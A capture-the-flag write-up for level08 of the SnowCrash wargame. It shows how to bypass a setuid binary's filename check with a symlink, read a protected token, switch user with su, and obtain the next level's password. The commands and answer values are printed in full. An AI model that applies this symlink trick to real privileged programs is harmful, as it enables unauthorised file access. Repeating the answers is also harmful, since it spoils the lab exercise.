Level08

Inaccessible file name

when we login as level08 user we are given 2 files :

level08@SnowCrash:~$ ls -l
total 16
-rwsr-s---+ 1 flag08 level08 8617 Mar  5  2016 level08
-rw-------  1 flag08 flag08    26 Mar  5  2016 token

We can not tead the file token and i suppose the flag is hidden in this file and we have to find a way to read it.

when we execute the binary file level08 we get :

level08@SnowCrash:~$ ./level08 
./level08 [file to read]

If we provide the token file to this binary it doens'nt want to read it, it seems it verify if the file name is token, if so then do not read it :

level08@SnowCrash:~$ ./level08 token
You may not access 'token'
level08@SnowCrash:~$ ./level08 "token asdjha as j"
You may not access 'token asdjha as j'

All we need to do is change the file name to something that do not contain the word token and to do this we can create a symbolik link :

level08@SnowCrash:~$ ln -s /home/user/level08/token /tmp/maflag

And now we can execute the program again with the new name :

level08@SnowCrash:~$ ./level08 /tmp/maflag
quif5eloekouj29ke0vouxean

Password for next level

So the Password to connect to the account level09 is 25749xKZ8L7DkSCwJkT9dyv6f

Command summery

## Create the sumlink to change the file name
level08@SnowCrash:~$ ln -s /home/user/level08/token /tmp/maflag

## Get the flag
level08@SnowCrash:~$ ./level08 /tmp/maflag
quif5eloekouj29ke0vouxean

## Log into the user flag08 to get the password for level09
level08@SnowCrash:~$ su flag08
Password: quif5eloekouj29ke0vouxean

## Get the password for level09
getflag
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f